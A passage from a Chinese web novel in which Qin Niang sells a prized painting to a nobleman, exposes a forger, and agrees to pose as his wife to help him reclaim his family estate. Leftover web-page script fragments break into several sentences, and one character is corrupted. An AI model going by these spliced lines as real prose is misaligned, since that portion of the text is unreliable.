“她能卖,我们自己岂不是也能卖,何必再多过一个人的手?”叶家老三的眼睛一直在秦娘身上瞟来瞟去。 秦娘正要开口,叶大娘子一巴掌拍在老三的背上:“你懂什么!人家秦娘能多卖好多钱呢!这多出来的你不要,我们大房还缺着呢!” “就是!”叶大也啐了弟弟一口。 叶二不好意思的挠挠头:“我还要拿钱娶媳妇呢!” …… 叶大娘子剜了叶二一眼,转头对着秦娘堆上了笑:“妹子,你看,我们家这也要用钱,那也要用钱,画你拿走去卖,万一卖了钱不还回来,我们这老的老,小的小……” 秦娘就知道事情没那么容易成,于是试探道:“那嫂子你想怎么办?” “我是这样想的,我们签个契约,这画直接卖给你,之后随你卖多少钱,我们只要固定的数。”她拿眼神暗示叶二,“老二你们刚才说的多少钱啊?” “十两,十两银子。”叶二道。 “对!”叶大娘子点头,“你不是说能卖多一倍吗?那我们就以二十两把这幅画卖给你!” “嫂子,你这是哄傻子吗?”秦娘讨价还价,“总共就十两,你让我上哪儿给你弄二十两?” 一番讨价还价,最终以十五两成交。 叶家老三会写字,很快写了份契约,双方按了手印。 只是秦娘穷惯了,她还以为这回自己赚的不会太多,事实证明她低估了这幅画的价值。 5. 第五章 秦娘打开画,看了一眼。 那画布已有年头,被人打开又卷上多次,有些地方有了折痕。 布上的纸也不似新纸般有光泽。 唯见画中松柏挺拔,山水像在流动般,栩栩如生。 为免夜长梦多,她直接到了城中近月楼。 此时众人已纷纷得了消息,把这最大的酒楼围的水泄不通。 凡是家里有些值钱物件的,都想来碰碰运气。 秦娘抱着长长的画盒子,吃力的往里挤。 “这位小娘子,你带的这是?”接待的几人远远望见,忙问。 “一幅画!”秦娘高喊。 几个伙计摇了摇头:“你来晚了!刚才有人献画,已经被那位看中了!” “我这幅更好!”她道。 看着她笃定的神情,伙计们聚在一起商量了一下,便开了一条道,请秦娘进去。 大堂里也已围了一圈人,只有中间全部空出了一个圆。 正中间的案几上正放了一幅画,秦娘一眼看出和自己手里的画一模一样。 只是不见那贵人踪影。 两人把画竖了起来,站至一旁,立刻有人请她把手里那幅画打开。 秦娘不慌不忙的将画在案上展开,引得众人顿时倒吸一口凉气。 “这是!” “和刚才那幅一样!” “怎么会有两幅?其中一幅一定是赝品!” 周围议论纷纷。 秦娘对着众人说道:“我这幅一定是真!” 一人急匆匆从楼梯上下来:“明明我这幅才是真的!” 他一个箭步冲到了那幅赝品旁,上下打量起了秦娘,不多时便笑了。 “这哪里来的农妇,还敢说自己的画是真的,瞧你这样子,也不像能买得起画的人!” 秦娘仔细对比着两幅画,不慌不忙道:“我也没说我这画是买的。怎么,阁下的画是买来的?哪家店?这江城就那一两家字画店,后堂可全是临摹的名家。” “你……好你个伶牙俐齿的!”那人不服,“你倒说说,有什么证据?” 不得不说那画师的工夫果真了得,两幅画几乎分毫不差,连下角的印章歪斜角度都一模一样。 不过秦娘深知,这世界上还没有完全一样的树叶子。 她冷笑道:“我这画是祖传,自是出自家中长辈之手。” “祖传?” “这位姑娘是谢公后人?” “那可不得了,这谢公后人如今竟沦落到这步田地?” “谁知道是真是假,她骗人没有。” 听闻众人的议论,那人脸色凝重,盯着秦娘半天。 突然有人碰了他的胳膊,在他身边耳语了一番。 那人恍然大悟,大笑道:“你说你是谢公后人?这画明明是在姓叶的手里……” 说到这儿话音戛然而止。 “是,的确在叶家手里,而我正从叶家而来。”秦娘笑道,“既然你心知肚明,还有什么好说的?” “你诈我!”那人青筋暴起。 秦娘见势头不对,忙朝着店里伙计喊:“有人卖假画!快报官!” 周围乱作一团。 已有人眼明手快的把那幅真迹收起,带着秦娘上了二楼。 她这才知道,原来买家一直在二楼雅间,关注着楼下的一切。 “姑娘稍等。” 这次的接引人礼貌了许多。 秦娘透过雅间的雕花镂空木门,隐隐看到里边一抹高大的紫色身影。 她从未在江城见过这种颜色,此刻只觉得这抹颜色虽暗暗的,却把周围的一切都比的黯然失色。 不多时,接引人请她进去。 她屏住呼吸,连步子都不敢迈大,轻轻走了进去。 只见画已被挂在墙上,那抹身影正在画前立足沉思。 秦娘不敢开口,规规矩矩的站在那儿,陪看了好一会儿。 直到对方沉声开口:“叶家人?” 他转过身来。 秦娘只看了一眼,便慌忙低下了头。 那是一张生的极好看的脸。 上一世她见过的男子大多是凡夫俗子,只有当初左家来接娇娇回京时,她远远瞥见过这样的贵人。 如同面前的人一样,只站在那儿就已让人大气不敢喘。 她愣愣回答道:“秦,我姓秦。” 紧接着她看到对方挑了下眉。 那眉毛生的极整齐,就像画出来的一样,直直插入鬓边。 “你不姓叶?”他开口,上下唇不薄不厚的挨在一起,这几个字便轻轻出来。 秦娘只觉脑中一片空白,声音也紧涩起来:“嗯,不过这画的确是我从叶家拿来的。” 对方的眼睛亮了亮。 秦娘看到他眼角细长,偶然垂下的眼帘,盖住了眼神里所有的情绪心思,不怒自威。 “在下陈衡。”他终于对着秦娘双手作揖一礼,整个人放松了警惕,“此画是恩师年轻时所作,赠给了一位姓叶的童生,今日幸得再见到此画,多谢秦娘子。” 他说话文邹邹的,完全不同市井,秦娘听得愣神,一时之间竟不知如何回话。 陈衡见状便挥了挥手,让人拿了个钱袋过来。 “若姑娘愿忍痛割爱,疗慰在下感念恩师之心,在下将献上百金做报酬,感谢秦娘子。” ……秦娘这回听明白了,他是要买下这画。 她忙不迭点头:“这是自然,我今日来此就是要将这幅画卖予……献予……阁下。” 她磕磕绊绊的学着陈衡说话的样子。 不料竟把陈衡逗笑了。 “你要把画献给我?”他假装惊讶,忙把那一袋钱拿至身后,“此事甚好,这画本就是我恩师所作,这也算物归原主了!” “不是……”秦娘傻眼,辩解道,“我卖,我卖!” “哦?”陈衡敛起笑容,“秦娘子说你是从叶家来,可有证据证明这画是叶家托你来的?” “自然是有。”她从怀中掏出那份契约,“他们把画卖给我,我还欠着他们银子呢,大人您高抬贵手,若是真没了钱,我一介小女子实在还不起他们。” 陈衡看完字据,抬眼瞄了她一眼。 “你若不信,可到叶家瞧瞧,另一份契约在他们手里。”秦娘被他这一眼唬了一跳,慌忙道。 “我自然相信。”陈衡不紧不慢的将契约还给秦娘,“秦娘子倒是好手段,低价买了这幅画,转头就来拆穿那些骗子……你,知道我想要这幅画?” 秦娘感受到他恢复了那份警惕疏离。 她定了定心神,退后几步,对着对方作揖回礼。 “在下不巧,曾在字画店做过散工,也是今日偶然在店里听人说起大人这里正在寻宝。”她不急不徐,“店里的画师和叶 () { $(''.inform'').remove(); $(''#content'').append('' 家认识,曾在叶家赏过此画,于是便想临摹一幅拿来试试。” “为何要临摹?”陈衡不解,“直接像秦娘子一样,从叶家低价买入不也正好?” 秦娘摇了摇头:“您不懂我们市井小民的难处,临摹只是费点工夫,而买画要的是真金白银。若是能白得来骗您一回,谁还真拿钱去买真迹。” 陈衡听了若有所思。 “我不想您被人骗了去,便到叶家将画买下,他家也是不识货的,为了些钱就把这幅画卖了。” “那若我不要这幅画,而是看上别的宝物,你欠了这许多银钱买下这画,以后该作何打算?”他问。 秦娘心中“咯噔”一下。 这贵人果真不好骗。 她只得神秘兮兮道:“我会算卦……算准了阁下要寻的就是这幅画!” 陈衡面上毫无波澜。 他缓缓开口:“劳烦秦娘子算算在下来这江城要做什么。” 秦娘自然不知道,上一世的她和此人毫无交集。 不过近日要发生的一些事她还是记得的。 “算人太复杂,我只算事。”她请陈衡移步,驻足窗边,“你看窗外,今日我出门时算了一卦,等会儿这条街上就会有人女扮男装、私会情郎,被家人抓回去。” 果然,不多时便有两名男子被一些家仆围住,其中一个被拆穿是女子。 “这不能作数。”陈衡道,“万一你知晓此事,先跑去告密,让那些人来抓呢?” 秦娘突然看到一个熟悉的人,是她曾经做工的酒馆里的小二,只见他正提着两瓶酒,匆匆往店里赶。 她记得上一世这天那小二在街上摔倒,酒瓶摔破,酒也洒了一身。 回到店里他还抱怨了一晚上,所以秦娘印象深刻。 此地离她当初做工的酒馆只隔了一条街,这酒却还未撒。 “请您再瞧。”她指着小二的背影,“今日街坊酒气太过,此人正拎着酒,我断定一会儿他就会摔倒,酒瓶摔破,酒洒在街上。” 话音刚落,那小二突然绊住了一块突出的台阶,只听“咣当”一声,酒瓶应声而破。 陈衡这才转头,认真打量起秦娘。 他面前这女子,虽娇小瘦弱,一双眼睛却炯炯有神,藏着不属于这个年纪的聪慧。 稍想了一下,他开口道:“在下冒昧,不知可否请秦娘子帮在下一个忙?” 秦娘见他买账,满口答应:“只要钱到位,一切好说。” 他让跟着他的仆从拿来一套衣裳首饰。 “不瞒秦娘子,在下此次回江城,除了寻找此画,还有一件要事。”他缓缓道,“在下将回本家处理一些事情,暂需一位贤内助帮衬,然而在下这把年纪还未说亲,所以……可否请秦娘子助在下一臂之力?” 秦娘闻言一惊,却又不敢置信,讷讷问:“你是要我假装做你夫人?” “我知此举冒昧,看秦娘子梳了妇人发髻,可是已有了夫君?”他解释道,“如此再好不过,此事若找了清白姑娘,怕是日后传出去毁了对方名声。” 他将那衣裳和刚才的钱袋一起送上来,“这里有买画的百金,我另添百金及这些绫罗首饰,秦娘子若需回去同夫君商量,在下等着便是,若你那夫君不愿你涉足此事,这些一并送你无需退还。” “我自然愿意。”秦娘盯着她从未穿戴过的精致衣裳首饰,移不开眼,“我是寡妇。” 6. 第六章 原来陈衡的本家在此地是个大户。 他幼年丧父,被几个叔叔夺了家产,被迫去了京城外祖家中久住。 随着年岁渐长,他四处经商,积蓄了一定实力,此次回来正是要拿回原本属于他和他母亲的家产。 可本朝未婚男子不得当家继承祖业,所以一到江城他就在物色合适人选。 这秦娘的身份实在完美,他也没想到只是试探一问,竟让自己真的找到了。 看来之后的事情应该很顺利。 只是秦娘心里有些不扎实:“敢问陈公子为何选我?这江城不说已嫁人的,只寡妇都有不少,为何不找其他人?” 只见陈衡仰起头,眼睛几乎朝天:“因为你不丑。” 秦娘一愣,羞得差点钻地缝里。 一旁小厮忙道:“我家公子的意思是秦娘子人长得美,在那本家面前像是能做他夫人的。” 听了这话,陈衡立刻认真解释起来:“你一个女子,敢单枪匹马来这里,想必家中夫君事事以你为主,或是家中根本无人约束,这世上出嫁女子虽多,却都以夫为纲,能抛头露面的着实太少。” 这倒是实话。 “而且之前你敢以一己之身揭露骗子行径,且你自身虽能力不足,辨别不出两幅画的真伪,却并未揪住不同非要看个一清二楚,而是懂得另辟蹊径,从他处下手让对方自己露出破绽。你这女子,有勇有谋,入内宅配合我,最起码不会拖我的后腿。” 虽然秦娘也没觉得自己秀外慧中,可听人如此夸赞,不免心中高兴。 目前她还没找到可靠营生,若帮了陈衡,也算是有份差事可做,更何况这人不差钱,出手大方。 两人既有了合作,秦娘便把自己的情况和盘托出,并直言她在这世上并无什么亲人,也不怕那些大户去打听,只用小心村里几户相熟的邻居即可。 “原来秦娘子还是个姑娘家!”小厮感慨。 “不知姑娘芳名?”陈衡倒是没什么惊讶之色,问道,“你我毕竟要一起相处,时间久了不知姓名,难免引人怀疑。” 遥远的记忆袭来,秦娘尘封已久的记忆里,显现出一个“瑶”字。 那是她父亲专门找街上算名测字的给起的名字,满含着爹娘对她的爱。 自从亲人走后,再也无人关心过她的名字。 “我……叫秦、瑶。”她磕磕绊绊的说出那个字,“我不会写,可若你写出来,我认得。” 陈衡那纤长的白玉手指沾了杯子里的茶,在案上写出几个同音字。 秦娘一眼便认出了,指给他看。 “瑶,美玉。”陈衡郑重向她作揖,“秦瑶姑娘,从今往后,我便称你阿瑶。” ————————————————————————————————————————————————————— 秦娘得了钱财存入钱庄后,留了些碎银,想着买些娇娇爱吃的点心送至绣坊,再到叶家还了欠债。 绣坊通常做七可休息半天,满一个月可空一天回家。 左娇娇这个年纪的,很多家里送来绣坊,所以秦娘并不担心她孤单。 只是这才去一两日,也不知学的如何了。 秦娘提了一大盒点心,离老远就看到娇娇站在绣坊门外。 和她一起的,还有秦馠。 她来这里做什么?秦娘皱眉。 两人说话间并未看到秦娘过来,谈话内容被秦娘听了个一清二楚。 “娇娇,你的玉佩借我用用。”秦馠伸手,将左娇娇脖子里挂的玉佩给拉了出来。 那玉晶莹剔透,润泽光洁,就连不会鉴玉的普通人都觉得那定是块好玉。 玉上既没有刻佛像,也没有刻字,只奇怪的刻了三个点,这三点连起来看是个三角。 左娇娇抓住秦馠那只拿玉的手,问道:“大姐姐,你要这个做什么?” 秦馠嘻嘻笑道:“我有急用,你放心,过不了多久姐姐会有很多钱,到时候一定还你个更好的。” 娇娇警惕:“更好的?那怎么行,我还要这一块!别的不要!” “好好,我都答应你。”秦馠含糊道,“很快,很快还你。” 眼见着那玉佩就要从娇娇脖子上取下,秦娘将点心盒“啪”的一下放地上。 “不准借!”她眼疾手快从秦馠手里夺过玉佩,塞进娇娇衣服里,叮嘱道,“这可是你爹娘找到你认回你的证据!” 秦馠一见到秦娘,分外眼红。 那种种情绪一瞬间被挑了起来。 “我在问娇娇,没问你,你还想逼我们到什么时候?”她逼问道,“娇娇,你到底借不借!” 娇娇手捂着胸口:“娘说的对,这是我重要的物件,不能借给你。” 秦馠气极,整个人冷了下来。 “你们如此对我,总有一天会后悔。”她指了指娇娇,“你让她去做绣娘,她有那天分?你做梦!只有我,能凭借出色的这双手,绣出一幅幅上好绣品,卖出源源不断的银钱,来供你吃喝!” 秦娘冷眼看着她。 “你今日最好同意将那玉佩给我,沈家,我虽做了妾,也是他家大郎唯一的妇人!将来我就是沈家内宅当家人,我劝你,别将事情做的太绝!不然将来别怪我对你们不管不顾!” 秦馠仰着头,高高在上的看着两人。 她心里有了倚仗,哪还把秦娘和娇娇看在眼里。 秦娘却嗤笑,道:“真不知道那沈家家仆是怎样欺瞒哄骗你的,恐怕时至今日,你还未踏进过那沈家大门一步!” “那又如何?”秦馠不甘示弱,“如今我是他沈家登记在册的人,早晚要入了府里,你且等着,到时我入门时差人送你一份请帖,你可千万记得要来观礼!” “真不知道我这是哪里捡来的蠢儿!”秦娘一时觉得自己仿佛听到了一个笑话,“登记在册的奴婢?入门给人做妾?还要我去观礼?你竟如此自降身份,我到今日才知,我真是白养你了!” “呵,是啊,你就娇娇这一个好女儿,你指望着她做绣娘赚钱给你?”秦馠讥笑,“你还不如指望她家里的王公贵族找到她,挟恩图报呢!” 这时,绣坊里一个绣娘走了出来,打断了两人。 只见她满眼惊喜,拿 () { $(''.inform'').remove(); $(''#content'').append('' 着一本绣册递给秦娘:“娇娇娘,今日怎么有空过来?瞧瞧这册子,这几页都是娇娇画的。” 秦娘接过来一看,册子上画虽简单,都是寥寥几笔便可成的花草,却已十分传神。 没想到才短短一两日,娇娇竟能画成这样。 “我们小绣娘这几天都是照着娇娇的画跟着绣呢!”绣娘开心的神情像捡了宝,“教字画的老先生,说娇娇基础牢靠,也有天分,想收她做关门弟子。” “敢问老先生是?”秦娘问道。 绣娘指了指身后的牌子:“我们黄氏,虽有布庄绣坊流传,可当年真正立足的却正是那一幅幅绣谱,不然为何能流传至今?不说花鸟草鱼,就连京里时兴的云水楼宇,都出自族里这位黄公之手。” 云水楼宇?听到这个名字,秦娘和秦馠都吃了一惊。 上一世轮到她们开绣坊时,这图谱被京里贵人们收藏,只允许在他们衣物屏风上出现,普通人家更是无缘见到,秦馠多次想高价求购却求不得,这一直是她的遗憾。 没想到这大名鼎鼎的画谱手竟还要收娇娇当关门弟子! 秦馠的脸色白了又绿,极其难看。 秦娘赶忙拿起地上的点心盒,拿袖子擦了擦,交给绣娘:“这是我带的点心,多买了好些,快拿进去分了吧!” 绣娘接过点心盒,看了看娇娇那巴巴望着的样子,笑道:“小馋猫,等会儿给你多留一些!” 待她进去,秦娘当着秦馠的面,嘱咐娇娇:“记住,你这块玉,谁要也不能给!” 娇娇乖乖道:“记住了,都不给,只有娘要我才给!” “不成!”秦娘板着脸,“娘也不能给!” 她使劲点了点头,望了望绣坊里,里堂正热闹的分点心。 “娘,那我能进去了吗?再晚点心都被吃光了!” 秦娘满意笑道:“去吧!” 娇娇快步走了进去,又转身冲秦娘挥手再见。 望着两人言笑晏晏,一幅母慈子孝,秦馠嫌恶的别过头。 “装什么亲娘!”她道。 秦娘收起笑容,冷冷的盯着她:“从今往后别让我再看到你打那块玉的主意,你以为我不知道你想什么。你不是有沈郎吗?不是能靠琴艺名满江城吗?既然如此,就离娇娇远点!” “呵,你是怕我和她亲近?”她挑眉,“我倒是忘了,你还指望着娇娇以后带你去享福呢!” “是,我最后劝你一句,别天天做梦当沈夫人,我是指望娇娇,那也比你被那姓沈的骗来得好。”秦娘道。 “你还诬陷沈郎!”秦馠咬牙切齿,“下月初五,我入府,你要瞪大你的眼睛看看,你是如何颠倒黑白,诬陷沈郎的!” “好啊,我倒要瞧瞧,这骗子是怎么被拆穿的!”秦娘自然不惧。 “若是证明你诬陷,我要你当着所有人的面,给沈郎下跪磕头!”秦馠此时还想,若是她下跪磕头,也算偿了上一世那血债。 谁料秦娘一笑:“下跪磕头?你也不怕折了你那沈郎的寿!” 这话直戳秦馠痛处,她咬牙切齿道:“我看你那天还怎么嘴硬!” 7. 第七章 这一日的折腾,秦娘赶回家已是披星戴月。 原想第二日再到叶家,不料叶家大娘子正在门口蹲守。 一见到秦娘,她喜笑颜开起身迎了上来:“妹,画卖了吗?得了多少?” 秦娘自然不能告诉她实话,只含糊道:“卖了,明儿一大早我就把剩下的钱给你们送去。” 叶大娘子搓搓手:“不用,你给我就成!不麻烦你多跑一趟。” 说话间,秦娘看到自家屋旁闪过一道影子。 不用想她也知道,这多半是叶家老三了。 估摸着他们都想提前截胡,把这笔钱给私吞了去。 “这……”她指指对方袖子,“给你也行,字据带了吗?” 那字据是叶家老三写的,一定在他那儿。 “字据?”叶大娘子眼珠子滴溜溜的转,“这样,你把钱给我,回去我就把字据销毁。” 秦娘莞尔一笑:“没带啊,那可不行,您还是回吧,我到您家就那两三步路,不麻烦。” 一听这话,叶大娘子瞬间变了脸。 她狐疑的盯着秦娘:“你不会……想私吞吧?还是说你根本没卖够十五两银钱,根本还不起这账!不成,你现在就跟我回家!说清楚!” “怎么会?”秦娘摸了摸挂在腰间的钱袋,“嫂子你可别冤枉我,这钱都在里边呢。” 叶大娘子伸手往钱袋处探去。 秦娘一闪身,躲过了她的手:“既然嫂子现在就要,走吧,去你家清了这账。” 叶大娘子自然不想去。 可她看秦娘已经走了,只得跟了上去,心里不禁骂骂咧咧,秦家这小娘子也不是好糊弄的。 这一走,叶家老三从屋后藏躲处钻了出来,绕了另一条路赶忙往家里赶。 叶家这些人,各自心怀鬼胎。 等两人到了叶家坐定,叶老三才气喘吁吁的回来。 “秦娘子来了!”他假装惊喜,“我回来的正巧呢!” 秦娘笑笑,并未拆穿他。 刚才走了一路,她心里已有了主意。 叶家老二给她上了茶水,用了自家唯一没磕破的完整白瓷碗,他笑呵呵道:“喝茶。” 其余人早围在了她身边,目露贪婪。 秦娘将钱袋取了下来,在众人眼前晃了晃,里边发出银子碰撞的声音,煞是好听。 众人大喜。 “这里边有银锭十两,碎银四两多,除去定金足够还余下的账。”她道。 叶家老大站在媳妇身后,戳了戳叶大娘子的腰。 叶大娘子忙弯下身,双手伸了过去,要接住那沉甸甸的钱袋。 叶老三眼疾手快,伸手抓住了她的袖子。 “字据呢?”秦娘收回钱袋子。 那叶老三瞪了自己嫂子一眼,堆起满脸笑容:“这小娘子,挺有本事,给钱这么利索……你得的不少吧?” 秦娘板起脸:“这就不劳烦小兄弟操心了。” “那不成!”叶老三拍案而起,“我听人说今日你去近月楼献了一幅画,得了不少赏赐,你说,是不是我家这幅?” 他倒是消息灵通。 今日发生那么大的事,秦娘知道遮掩不了,迟早会被叶家人知道。 她大方承认:“没错,我献的正是此画,只是你也听了,是献!最后得了些赏银罢了,赏银能有多少。” “这就是了!”叶老三心中一喜,道,“那些有钱人,随便漏个指缝,银子都哗哗往下掉,我不管他赏你多少,今日你必须给我们叶家……五、五十两!” 五十两? 听了这个数,在场所有人都呆若木鸡,一脸不可置信。 叶大娘子捂着嘴,声音也变得几乎不可闻:“啥?三弟,我没听错吧,五十两?” “就是五十两!”他信誓旦旦,仿佛亲眼见了一般描述,“我那些江湖上的兄弟今日都在近月楼,说那寻画的贵公子一出手就包下整个酒楼!” “乖乖,那得多有钱?”几人惊呼。 “要说他只赏你了十几两,说出去谁信!” 叶老三一个箭步窜入屋内,拿出先前那张字据,当着众人的面“唰唰”撕了个干净。 “没有五十两,也得有……有三四十两!” 看他拿捏不准的样子,秦娘瞬间明白他也是在胡诌。 她不慌不忙道:“今日你撕毁字据,问我要五十两,明日、后日,岂不是你随时都可以不作数,继续问我要钱?” 听闻这话,叶老二点点头,冲他弟弟说:“的确,三弟,这事不太妥。” 叶老三本打的就是这主意,被人拆穿,一时有些心虚:“我们请村长作证,就这一回,我、我保证。” “再者说。”秦娘继续,“我实话告诉你,那贵人只赏了我十五两,我拿几个铜板给娇娇买了点心,剩下的都带来了,一分都没给自己留,我如此诚意,你让我上哪儿给你弄五十两!” “那我不管。”叶老三一幅赖皮样子。 叶老大给他媳妇使了个眼色。 叶大娘子也顾不上丢人,往地上一坐,硕大的身躯挡住了去路,她嚎叫起来:“公爹啊,你醒醒,这天杀的骗了你的画,还不给钱!你这病可等着钱买药呢,这可咋办啊!” 这时间大伙都用过晚饭了,有的人家正在院子里纳凉。 听到这嚎叫声,都往叶家这边看来。 “好好好!快起来大嫂子!你这样让人瞧见多不好!我答应给你钱,快起来!”秦娘假意应下。 一听事情能商量,叶大娘子立即闭了嘴,一个翻身从地上爬起来,干净利落。 “妹子,你说真的?”她又换上一副笑脸,“也不是嫂子为难你,你看家里这情况,实在是……” “不必再说,我都明白。”秦娘点点头,将那十几两摆桌上,“你们也看了,我身上就带了这么多,先给你们。剩下的明日再送来。” 叶老三早将纸笔备好:“那你先写个借条!” 秦娘假装苦恼:“你们也知道,我实在不会写字,再说你能撕了那字据,我也能撕了借条。不如明日你们派个人跟我一起去拿钱,拿了直接让那人带回来,岂不省事又放心?” “我跟你去!”叶老三抢先一步。 叶老大不甘示弱:“不成!你这小子谁还不知道你,拿了钱准去花天酒地!” “你以为我不知道你们那点心思?”叶老□□击,“你们想独吞了这钱!爹看个病你都不舍得去!” “ () { $(''.inform'').remove(); $(''#content'').append('' 你、你别在这儿血口喷人!”叶大娘子平日在邻居面前装惯了贤惠孝顺,可见不得他这么公开吆喝。 两家你一言我一语,吵上了。 秦娘将那钱交给了叶二。 “既然你们互不放心,这叶二哥是个老实的。”她将叶二推到几人跟前,“你们总信得过他吧!不如将银钱都交由他,明日凑够了数,由他带回来。” 叶大和老三闹的这份上,自然谁也不服气谁,只得同意了此法。 “那行吧,老二,你可要一分不剩的全拿回来!”叶大发话。 “得,他你还不放心吗?”叶老三拍拍二哥的肩膀,威胁道,“拿了钱一定藏好,万一路上飞贼把钱偷了……回来就把你卖去做苦力,赚钱给爹看病!” 叶二笑呵呵的收好钱袋:“是是,我一定小心。” 秦娘见事情已了,便起身回家。 叶家几人也并无客套,老大家夫妻俩更是急着回屋商量大事去了。 只有叶二收拾了东西,要送秦娘回家。 秦娘并未拒绝,她也有话要同叶二交代。 两家离的不远,可村里无路灯,脚下多是碎石。 天上的月亮今晚倒是够亮。 叶二有些紧张,跟在秦娘身后不敢说话。 “叶二哥。”秦娘率先开口。 只听身后传来的声音发紧:“你、你说,我听着呢。” “你是个好人。”她停了一下,又继续道,“你那兄弟两个,拿了钱不会给你爹治病的。” 叶二一听这话,有些激动:“不会的,他们对俺爹,还、还不敢。” “你没听他们两个适才怎么说吗?” 身后一阵沉默。 秦娘突然转过身:“不如你拿了这钱,自己去找郎中过来,别告诉他们两个。若给你爹治了病之后还有余钱,你留下娶个过日子的姑娘。” 叶二愣了愣。 他张了下口,想说些什么,可最终又没有说出口。 迟了好一会儿,他点了点头:“秦姑娘,你也是个好人,你还捡了俩孩子。我知道五十两你还要出去借……你放心,明日我、我在家,不来找你。” 秦娘没想到,他看上去傻,其实心里也明白一些事。 只是他信了自己没钱的鬼话,一时有些愧疚。 许是觉得秦娘也有难处,他又安慰道:“十五两银子,足够多了,别说是我了,就是我大哥他们一辈子也没见过这么多银子,画能卖上这么个好价钱,我……我们很知足了。” 这些农户们,平日种地上缴之余会留些口粮,一家几口吃饭不成问题。 衣裳是紧着穿的,日子也是过的紧巴巴的,一年到头花销加起来不过也才一两银子。 治病买药一次几十文,多了也不过数两银子,叶二还能剩下不少。 只要不被其他人夺了去,之后的日子他能过的不错。 不过这就不是秦娘该操心的了。 “谢叶二哥体谅。” 她拿出一直压在袖子里的她那份字据,当着叶二的面撕了。 反正两份字据已当着叶家人的面毁了,这账一笔勾销。 她告别了叶二。 接下来的路,她要自己走。 8. 第八章 秦娘半老,风韵犹存。 再说秦娘的岁数,不过二十多,正是一个妇人最美的年华。 这年华全用在了养育孩子上,着实有些可惜。 给秦娘梳洗打扮的下人们,无不这样想。 和陈衡约定今日到他下榻之所,商量之后的事,秦娘一到就被拉来重新梳妆。 待梳洗完毕,换上一套新衣裳的她重新出现在众人面前。 秦娘多操劳,一张脸过于苍白,纵使上了些胭脂,也是血色极淡,好在因此也体轻欲飞,狭腰多态。 只见她手足无措的站在门口,双目清亮如水,在众人脸上转了转,真如姣姣明月,湛湛有神。 身上穿了件白绫罗绸衫,鬓发如漆,玉簪斜斜插入发中,翠玉坠于耳珠,眉目间透出一股英气。 如此收拾一番,全城竟找不到比她更美貌的娘子。 陈衡看了半晌,才堪堪摇头:“容貌倒算是端庄秀丽,挑不出五官的错处,只是这气质太过纤弱,需再多加练习。” 秦娘有些紧张,双手绞在一起,骨节因常年做粗活,红肿凸起。 她不得不将手往宽大的袖子里遮。 “阿瑶。”陈衡走上前,拉了她的袖子,“不必如此遮掩,既为正室娘子就要作出夫人该有的气势。” 秦娘听了,把手露了出来。 她都活过一大把年纪了,怎么今日还扭捏起来了。 想到此她便放开了来,回想了一下上一世做老婆子时的姿态。 接下来她要和陈衡在此住上一段日子了。 待下人把她的房间收拾好,摆上文房四宝,她才得知自己还要学字。 “除了大户的规矩礼仪,当家管账也是要学的。”陈衡向她解释,“只是我们不得当真,当家管账还是由我替代,你只识得便可。” “那为何还要学这些描描画画的?” “你自己的名字总要会写,不然二房三房他们不是好骗的。”他把自家的情况告知,“我本家姓沈,单名一个愚,原是江城沈府,沈家大郎。” “你说什么?你、你叫沈愚?”秦娘的下巴差点掉到地上! 陈衡还以为她是生气自己骗她:“那是之前,现如今我早已改姓,随了外祖家陈姓,未拿假名来诓骗你。” “你……是沈家大郎?”秦娘一副见鬼了的表情。 她着实没想到,沈家那骗子冒充的本人,此刻就站在她的面前。 “怎么,你听说过?”他皱了皱眉,“外界如何传我?” 秦娘从震惊中回过神来,摇了摇头:“外界并无传言……只是,有人冒充你在外行骗。” 陈衡好奇:“如何冒充?” 他父亲早逝,幼年便随母亲进了京,这沈家大房的位置空出来,对二房三房都是再好不过的事。 他实在想不出,那两房会容忍一个冒充自己的人出现在江城。 秦娘听了也大概明白,这沈鱼是背着主家,偷偷冒用身份来骗一些闺阁女子。 既然真正的沈家大郎回来了,看那骗子如何再演下去! 她将秦馠之事稍微提了提。 陈衡倒饶有兴致,若有所思道:“下月初五,是个回府的好日子。” 离下月初五还有半个月,看着眼前的文房四宝,秦娘不禁脸上一黑。 她要抓紧了。 —————————————————————————————————————————————————— 沈家是商贾之家,好不容易出了个科考官身之人,正是陈衡的父亲。 当年他已官至四品,娶了京中同是四品的陈家之女。 可惜人早逝,沈家另外两房欺负大房孤儿寡母,陈衡母亲一气之下离开了沈家,回了京,连自己的嫁妆都没得法子带走。 沈家二房沈言庆是如今的当家人,他有一妻一妾,夫人是附近一城的大商贾吴家的嫡女,嫁过来后很快给他生了一个女儿,之后再无所出。于是二房便纳了妾,几年下来又给沈言庆生了个女儿。 所以在沈府,他虽当家,近几年却急于子嗣,势头渐弱。 沈家三房沈言礼倒是妻妾成群,子嗣旺盛。三房夫人姓姜,家父是本县县丞,她虽无所出,那几个姨娘却生了五个儿子,皆养在她的膝下。 儿子一多,三房更是生出了别的心思。 秦娘这几日勤学苦练不说,更是将沈家的情况摸了个透。 这天她被陈衡叫去,一起出了门。 早已改头换面的秦娘被带着去了酒楼、商铺,都是她曾经做过工的地方,竟无一人认出她来。 众人见到两人身着华衣,那料子江城少见,又见秦娘满头珠翠,美貌贵气,皆是认真接待,丝毫不见以往对她的插科打诨。 饶是觉得相熟,也想不起她是谁,只道是曾经在街上见过。 “你乡里住所我已派人前去打理。”陈衡对此结果颇为满意,向秦娘道,“如今已无人敢认你,你也不必回去。” 秦娘点头,那屋里什么都没有,她倒不担心。 两人逛着,却忽见前方花楼,沈家的马车停在花楼前。 马车上下来一个中年男子,头戴幞头,身着深蓝锦缎直裰,面白,脸上留两撇胡须。 花楼前的揽客姑娘们一见到此人,便热情招呼:“沈三爷来了!” 原来此人就是沈家三房沈言礼。 只见沈言礼捏了捏其中一个姑娘那柔嫩的脸,熟捻的搂过另一个姑娘进去了。 秦娘瞧了瞧陈衡的脸色,却见他若有所思。 “要进去吗?”她出声提醒。 这楼里正举办赛花宴,将选出江城容貌最美的姑娘。 她记得上一世连着好几年,都是那位“清吟姑娘”夺魁。 陈衡从怀中扯出一张手帕,将它戴在了秦娘脸上。 秦娘被这突如其来的动作吓了一跳,被他抚过的脸颊霎那间发烫了起来。 还好被手帕遮住了神色。 她慌忙将脑海里一些不该有的念想赶走,跟着陈衡一行人进了去。 沈言礼坐在了大堂,并未包下茶室。 这两年他越发沉迷于花天酒地,银两被他挥霍的所剩无几,再加上近日夫人姜氏管的严了些,他囊中羞涩,连间茶室都付不起了。 陈衡垂下眼帘,选了离他最近的一个位置,带秦娘坐下,又来了几个花枝招展的姑娘,将两人包围,连跟着的几个小厮丫鬟都被挤在后边。 